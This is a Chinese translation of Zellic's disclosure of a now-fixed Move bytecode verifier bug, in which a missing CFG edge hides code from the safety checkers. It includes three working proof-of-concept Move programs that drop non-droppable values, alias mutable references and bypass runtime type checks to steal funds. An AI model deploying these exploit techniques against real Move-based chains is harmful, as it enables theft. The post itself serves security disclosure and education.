十亿美元漏洞:发现并修复Move字节码验证器中的关键问题

  • zellic
  • 发布于 2023-05-17 18:56
  • 阅读 7

此文讨论了一个严重的漏洞,该漏洞存在于Sui区块链的Move字节码验证器中,允许攻击者规避多个安全属性,可能导致重大经济损失。漏洞源于控制流图的错误构建,影响了所有基于Move的区块链。文章详细介绍了漏洞的技术细节及其潜在攻击方式,这对于希望了解Move安全性的读者非常重要。

有时候,你在未曾预料的地方找到你所寻找的东西。

Mysten Labs,Sui 区块链背后的组织,委托我们对其 Layer 1 核心进行安全评估。具体来说,我们的任务是确保 Sui 的 Move 字节码验证器在其主网启动前的安全性。这个验证器负责确保 Move VM 的核心安全属性得以维护。有趣的是,这个验证器在 所有 基于 Move 的区块链中共享,包括 Aptos ($2.1B 市值)、Starcoin 和 0L。

我们评估的范围主要集中在字节码验证器本身和可编程交易上。然而,我们发现的漏洞在于该验证器的一个 依赖 中。在提供全面评审时,我们决定深入研究这些依赖——毕竟,一个优秀的黑客总是无法抗拒美丽的兔子洞。在 move-binary-format crate 中,所有 Move 实现都共享,我们发现了一个与字节码控制流验证相关的关键、微妙且新颖的漏洞。这是我们绝对没有想到会在这个地方发现这样的关键缺陷!

在这篇博客文章中,我们披露这个关键问题。这个漏洞将可能造成数十亿美元的风险。它将允许攻击者绕过核心 Move 验证器的局部安全与引用安全验证权限,以及 Sui 专用的 ID 泄漏验证器(我们之前发现的另一个缺陷↗)。我们还将讨论具体的攻击场景。再一次,这个漏洞不仅影响 Sui,还影响使用 Move 的其他平台,包括 Aptos。

最终,这个漏洞将允许攻击者获得多个 可变引用对象,保留一个已移动对象的可变引用,且在没有 drop 能力的情况下删除对象。Move 是一种类似于 Rust 的语言,而这些行为违反了 Move 最基本的安全属性。

TL;DR: Move 字节码验证器中的一个微妙漏洞导致攻击者绕过多个安全属性,可能导致重大财务损失。该漏洞影响了一个函数的控制流图(CFG)的构建。利用方法包括在没有 drop 能力的情况下删除一个值,绕过引用安全验证器,以及绕过严格类型检查。该问题已被修复,我们在披露过程中与 Mysten Labs 紧密合作。

Move 语言简介

如果你已经了解 Move 并希望直接获取漏洞的具体细节,请点击此处跳过引言

Move 语言和虚拟机最初为现已停止的 Libra Project↗ 设计,为这个领域带来了有趣的新想法。该语言在语法上与 Rust 有些相似,具有强静态类型和强所有权,附有借用检查器。

模块(在 Move 语言中称为智能合约)可以定义自定义数据类型。实例的内容只能被定义类型的代码直接访问,这意味着自定义类型的字段默认可以被信任。此外,默认情况下,模块不能复制或删除由另一个模块定义的数据类型的实例,除非该数据类型是用 copydrop 能力定义的。

这种编程模型独特有趣,因为它允许创建具有类似物理对象属性的数据类型;例如,Coin<T>,用于表示 Move 平台上的代币的数据类型,不能被复制或删除,这意味着不可能凭空创造出一个 Coin,也不可能意外使一个 Coin 消失。正如我们将看到的,无法删除一个值对于闪电贷的安全运行也是至关重要的。请注意,闪电贷本质上提供给不可信的用户在原子交易持续期间访问无担保的“无限”杠杆——因此,在闪电贷的操作中任何的错误都会导致灾难性的后果。

有关 Move 语言的全面概述,请参阅 The Move Book↗。你还可以查看我们关于 Move 安全性的两部分博客文章:第一部分↗第二部分↗

Move 验证器

Move 源代码被编译为在 Move VM 上运行的字节码。验证器的工作是读取和静态分析字节码,以查找任何可能绕过上述 Move 安全属性的漏洞。更具体来说,这意味着在发布和运行之前,模块的字节码需要经过一系列验证器的检查,以确保它没有违反 Move 编程模型中定义的任何安全属性。验证过程非常复杂,涉及十多个验证器,其中一些被分为较小的检查:

  • BoundsChecker::verify_module
  • LimitsVerifier::verify_module
  • DuplicationChecker::verify_module
  • SignatureChecker::verify_module
  • InstructionConsistency::verify_module
  • constants::verify_module
  • friends::verify_module
  • ability_field_requirements::verify_module
  • RecursiveStructDefChecker::verify_module
  • InstantiationLoopChecker::verify_module
  • CodeUnitVerifier::verify_module
    • 控制流验证器
    • 代码单元验证器
    • 栈使用验证器
    • 类型安全验证器
    • 局部安全验证器
    • 引用安全验证器
    • 获取列表验证器
  • script_signature::verify_module

验证器的检查按上述顺序在模块中的所有单独函数上运行。后面的验证器仅在前面的验证器没有发现错误时运行。解释整个验证器的复杂性可能会轻松填满一本小书,而我们当然无法在这篇博客文章中涵盖所有内容。

如果你想了解更多关于任何单独检查的内容,源代码↗ 是一个很好的参考。它包含对大多数检查的注释,解释它们强制执行的安全不变性,并且 我们审计的报告↗。如果你觉得这些主题很有趣,研究静态分析↗ 的领域也是很值得的。

对于这个漏洞,我们关注的是 CodeUnitVerifier 的局部安全和引用安全子检查,因为它们都受到该问题的影响。

局部安全验证器

这个检查确保涉及局部变量的操作是安全的。它禁止移动、复制或借用不可用的局部变量的操作。同时,它也禁止在没有 drop 能力的情况下通过覆盖或从函数返回来删除局部变量的值。

它是通过一个抽象解释框架实现的,跟踪局部变量的可用状态。三种状态被接受:Unavailable(不可用)、Available(可用)和 MaybeAvailable(可能可用)。这些状态分别表示局部变量是绝对不可用的(如值已经移动),绝对可用的(意味着局部变量肯定包含一个值),或者可能可用但不确定。最后这种部分不确定状态用于确保可能保存在局部变量中的值在函数结束时不能被删除,除非它们有 drop 能力。

函数局部用于存储函数参数,这些参数的初始状态是 Available,以及局部临时变量,这些变量的初始状态为 Unavailable。抽象解释机遍历控制流图(CFG↗),模拟每个基本块的指令效果,以跟踪局部变量的状态。这是在到达一个固定点之前完成的,这个过程保证能够发生,因为转移函数的定义与控制流验证器强制的 CFG 属性有关。

这一检查中的缺陷可能允许使用一个不可用的局部变量或者删除没有 drop 能力的值。

由于 Move VM 当前的实现方式,试图利用前者的情况可能只会导致崩溃。这是因为在运行时,不可用的值被表示为 ValueImpl::Invalid,以检测验证器中的缺陷。可以通过验证器的 paranoid_type_checks 选项启用对后者结果的缓解措施,该选项在运行时引入了确保被覆盖值具有 drop 能力的检查。

引用安全验证器

这个检查确保引用的使用是安全的;换句话说,它强制执行 Move 数据所有权模型。更具体地说,它检查:

  • 在复制时,不存在对局部值的可变引用
  • 在被取用(覆盖或删除)或移动时,不存在对局部值的引用
  • 不会对已经被可变借用的局部值进行不可变引用
  • 通过引用的读取是允许的(对于不可变引用总是如此;可变引用只能在它们可以被冻结的情况下读取)
  • 通过引用的写入是允许的(对于不可变引用从不允许;可变引用如果没有未了借用则可以被写入)

还强制实施与全局值相关的额外安全属性。这些属性在 Sui 中并不相关,因为涉及全局存储的指令不能被使用,但对于其他链(如 Aptos)是相关的。

该检查是使用抽象解释框架实现的,跟踪在遍历 CFG 时未处理的可变和不可变引用。在此过程中,维护一个表示未处理引用的图,并检查以确保上述属性成立。

漏洞

我们终于到了有趣的地方。如我们所见,多个验证器检查利用该函数的 CFG 进行代码的抽象解释并强制执行安全不变性。

问题位于一个辅助函数中,导致函数的 CFG 构建不正确,缺少了一些边。CFG 被上述验证器用来确保代码遵循各种安全属性;缺失的 CFG 边允许一些代码片段在验证器面前实际上是不可见的。其结果包括能够获得多个可变引用对象,保留一个已移动对象的可变引用,以及在没有 drop 能力的情况下删除对象,从而破坏了多个基本的 Move 安全属性。

函数的 CFG 是通过 control_flow_graph.rs::VMControlFlowGraph 构建的。第一步是创建一个由基本块组成的集合,其表示为使用基本块 ID(其入口点)作为键的映射,包含其出口和后继块列表作为值:

pub fn new(code: &[Bytecode]) -> Self {
  // [...]
  // 创建基本块
  let mut blocks = Map::new();
  let mut entry = 0;
  let mut exit_to_entry = Map::new();
  for pc in 0..code.len() {
      let co_pc = pc as CodeOffset;

      // 创建一个基本块
      if Self::is_end_of_block(co_pc, code, &block_ids) {
          let exit = co_pc;
          exit_to_entry.insert(exit, entry);
          let successors = Bytecode::get_successors(co_pc, code);
          let bb = BasicBlock { exit, successors };
          blocks.insert(entry, bb);
          entry = co_pc + 1;
      }
  }
  // [...]
}

该漏洞存在于 Bytecode::get_successors 辅助函数中。你能找到它吗?

/// 返回此字节码指令的后继偏移。
pub fn get_successors(pc: CodeOffset, code: &[Bytecode]) -> Vec<CodeOffset> {
    assert!(
        // 程序计数器必须保持在代码的边界内
        pc < u16::MAX && (pc as usize) < code.len(),
        "程序计数器超出边界"
    );

    // 提早返回以防止溢出,如果 pc 正在达到最大允许指令数的末尾 (u16::MAX)。
    if pc > u16::max_value() - 2 {
        return vec![];
    }

    let bytecode = &code[pc as usize];
    let mut v = vec![];

    if let Some(offset) = bytecode.offset() {
        v.push(*offset);
    }

    let next_pc = pc + 1;
    if next_pc >= code.len() as CodeOffset {
        return v;
    }

    if !bytecode.is_unconditional_branch() && !v.contains(&next_pc) {
        // 避免重复
        v.push(pc + 1);
    }

    // 始终以升序方式给出后继节点
    if v.len() > 1 && v[0] > v[1] {
        v.swap(0, 1);
    }

    v
}

你能找到吗?如果没有,别担心。这是一个非常微妙的问题,在无数代码审查中都没有被发现。

提早返回 if pc > u16::max_value() - 2 是不正确的!这个检查主要是为了防止 pc 过满导致的 Denial of Service。但这个提早返回有一个更严重的后果。

这意味着在一个具有 65,534 条指令的函数中,最后一个操作码总是没有后继。如果最后一个操作码是跳转,则存在一个后继,但 CFG 将不会返回任何。

结果,任何使用后继列表的验证器都不会看到 CFG 的一条边。实际上,这意味着使用通用抽象解释机制的验证器将不会分析某些代码,忽略其对系统状态的影响,从而允许破坏它们应强制实施的安全不变性。

利用漏洞

由于这个漏洞,可以进行多种攻击,很可能导致极其重大的财务损失。例如,闪电贷的常见实现(比如在 Aptos 中的“热土豆”)允许借款者获得一个不具备 drop 能力的对象,该对象必须与借贷资金和利息一起归还给贷款合约,以便正确完成交易。换句话说,攻击者可以成功获取闪电贷而不偿还借入的资金!

正如我们将在以下的概念验证中看到的,绕过局部安全验证器可以破坏该系统的安全性。这些概念验证可以使用 Move 测试框架进行运行,并且是在提交 b47c1d895 上开发的。所有概念验证都包含一条注释,指定填充指令应该插入的位置,以使函数的长度达到 65,534。

请注意,在 Aptos 上运行测试时,需要将 return 填充指令替换为 nop,因为有一个额外的检查限制函数中的基本块数量,但这并未以任何有意的方式阻止利用该漏洞。不过,在 Move 测试框架使用的伪汇编方言中没有便利的方法插入 nop,也没有办法编译目标字节码的精确文本表示。

局部安全验证器绕过

这个概念验证演示了通过删除没有 drop 能力的值来绕过局部安全验证器的能力。获取并存储对象的两个实例。第一个实例与第二个(通常正常情况下无法做到这点)覆盖,然后使用预设函数销毁第二个实例。这将允许破坏热土豆设计,几乎破坏当前实现的所有闪电贷

请注意,以类似方式删除只有一个实例存在的对象也是可以的,例如将其包装在一个向量中并随之用一个同类型的空向量覆盖。

//# publish --syntax=move
module 0x1::test {
    struct HotPotato {
        value: u32
    }
    public fun get_hot_potato(): HotPotato {
        HotPotato { value: 42 }
    }
    public fun destroy_hot_potato(potato: HotPotato) {
        HotPotato { value: _ } = potato;
    }
}
//# run
import 0x1.test;
main() {
    let hot_potato_1: test.HotPotato;
    let hot_potato_2: test.HotPotato;
label padding:
    jump end;
    return;
    // [LOTS OF RETURNS]
    return;
label start:
    hot_potato_1 = test.get_hot_potato();
    hot_potato_2 = test.get_hot_potato();
    hot_potato_1 = move(hot_potato_2);
    test.destroy_hot_potato(move(hot_potato_1));
    return;
label end:
    jump start;
}

引用安全验证器绕过

这个第二个概念验证演示了通过调用一个假设的 squash 函数(该函数接受两个可变的 Coin 引用,并将第二个Coin的值移动到第一个的能力)来绕过引用安全验证器。该函数实际上却是用两个 对同一个Coin的可变引用调用的:

//# publish --syntax=move
module 0x1::balance {
    struct Balance has drop {
        value: u64
    }
    public fun create_balance(value: u64): Balance {
        Balance { value }
    }
    public fun squash(balance_1: &mut Balance, balance_2: &mut Balance) {
        let balance_2_value = balance_2.value;
        balance_2.value = 0;
        balance_1.value = balance_1.value + balance_2_value;
    }
}
//# run
import 0x1.balance;
main() {
    let balance_a: balance.Balance;
label padding:
    jump end;
    return;
    // [PADDING RETURN STATEMENTS]
    return;
label start:
    balance_a = balance.create_balance(100);
    balance.squash(&mut balance_a, &mut balance_a);
    return;
label end:
    jump start;
}

严格类型检查

通过在 Move VM 中设置 paranoid_type_checks 选项,可以启用额外的运行时安全检查。这些检查在防止大多数简单利用方面非常有效,产生运行时 VM 错误。

例如,它们似乎总是能够检测出何时删除没有 drop 能力的对象。然而,它们无法防止 所有可能的利用,正如我们的第三个概念验证所示。

严格类型检查绕过

这个概念验证演示了如何将一个对象的可变引用和对象本身推送到虚拟机栈中。这使我们能够将对象传递给其他函数,同时保留对其的可变引用。这个概念验证通过调用一个需要 Balance 对象的函数模拟了一次付款,接着通过可变引用回来“偷走”转移的值。

在 Move 中获取引用的最简单方法是将对象存储在局部变量中,然后获取对它的引用。使用这种方法,将可变引用和目标对象的实例一起推送到栈上并不可行,因为运行时会有检查,与验证器和单独的 paranoid_type_checks 无关。

执行 MoveLoc 指令将局部变量转移到栈上会导致 values_impl.rs::swap_loc 中的错误;该函数检查要移动的对象的引用计数是否最多为 1。由于获取可变引用会增加引用计数,因此没有引用的局部变量无法移动。

这一概念验证展示了绕过这一限制的一种可能方法。通过将受害者对象打包在一个向量中,获取一个对对象的引用,然后通过解压向量将对象推送到栈,以达到“破解状态”。这种策略允许获取对对象的可变引用,而不会直接存储在局部变量中,从而绕过检查。

//# publish --syntax=move
module 0x1::test {
    struct Balance has drop {
        value: u64
    }
    public fun balance_create(value: u64): Balance {
        Balance { value }
    }
    public fun balance_value(balance: &Balance): u64 {
        balance.value
    }
    public fun pay_debt(balance: Balance) {
        assert!(balance.value >= 100, 234);
        // 此处我们删除余额
        // 实际上,它将被转移,付款标记为完成,等等
    }
    public fun balance_split(self: &mut Balance, value: u64): Balance {
        assert!(self.value >= value, 123);
        self.value = self.value - value;
        Balance { value }
    }
}
//# run
import 0x1.test;
main() {
    let v: vector<test.Balance>;
    let bal: test.Balance;
label padding:
    jump end;
    return;
    // [padding returns]
    return;
label start:
    bal = test.balance_create(100);
    v = vec_pack_1<test.Balance>(move(bal));
    // 此时栈内:<empty>
    // 将对余额的可变引用推送到栈上
    vec_mut_borrow<test.Balance>(&mut v, 0);
    // 此时栈内:&mut balance
    // 通过 unpacking 向量推入余额实例
    vec_unpack_1<test.Balance>(move(v));
    // 此时栈内:&mut balance, balance
    // 进行支付(隐式地使用栈顶的余额作为参数)
    test.pay_debt();
    // 此时栈内:&mut balance
    // 我们仍然拥有对余额的可变引用,当然可以“窃取”
    (100);                          // 在栈上推送 100
    bal = test.balance_split();
    // 此时栈内:<empty>
    assert(test.balance_value(&bal) == 100, 567);
    return;
label end:
    jump start;
}

时间线与响应

我们报告一些与此问题相关的重要事件。Mysten Labs 委托我们审核字节码验证器,我们发现了这个问题。它同样影响了其他所有 Move 语言链(Aptos、Starcoin、0L)。我们维持了一个(非官方的)内部禁令,以尽量减少该问题在发布之前被公开的风险。然而,某些安全研究人员 已经注意到并公开披露↗ 该问题的解决提交。

  • 2022年10月6日:在 commit 8bddbe65 中引入问题
  • 2023年3月25日:首次向 Mysten Labs 报告问题
    • 我们收到 Mysten Labs 的通知,他们还会将问题的详细信息分享给其他 Move 基础平台的开发者
  • 2023年3月30日:Commit d2bf6a3c 悄然修复问题的更新在 Sui 分支中引入
  • 2023年3月31日:Aptos 节点热修复版 v1.3.3
    • 此发布没有发布说明或源代码可获取;我们怀疑它包含修复,但并未收到 Aptos 的相关通知
  • 2023年4月10日:Commit 1fa4ed20 明确修复 Aptos 分支中的问题

我们主要与 Mysten Labs 沟通以披露此漏洞。尽管我们询问了从 Aptos 处获得此漏洞的奖励的可能性,但他们拒绝了我们的请求,提出问题发现的背景——即在为 Mysten Labs 进行审核时发现了该漏洞。我们理解他们的立场,并感谢他们对安全的承诺。

结论

于 2022 年 10 月 6 日引入的 Move 字节码验证器漏洞,及于 2023 年 3 月 30 日在 Sui 分支中悄然修复,允许攻击者绕过多个安全属性,导致潜在的重大财务损失。此次漏洞微妙,出现在 Bytecode::get_successors 辅助函数中,导致函数的 CFG 构建不正确。

概念验证演示了如何在没有 drop 能力的情况下删除一个值、绕过引用安全验证器以及绕过严格类型检查。尽管严格类型检查提供了一些额外的保护,但它们不足以防止所有可能的利用。

Aptos 和其他基于 Move 的平台正在努力修复这一问题。我们期待继续与他们有效合作,共同确保 Move 生态系统中所有利益相关者的最高安全水平。

关于我们

Zellic 专注于新兴技术的安全。我们的安全研究人员已在从《财富》500 强到 DeFi 巨头等最有价值的目标中发现漏洞。

开发者、创始人和投资者信任我们的安全评估,以便快速、自信和没有关键漏洞地发布。凭借我们在现实世界攻击性安全研究中的背景,我们发现了其他人所忽视的问题。

联系我们↗ 进行比其他审计更优秀的审计。真正的审计,而非走过场。

  • 原文链接: zellic.io/blog/the-billi...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zellic
zellic
Security reviews and research that keep winners winning. https://www.zellic.io/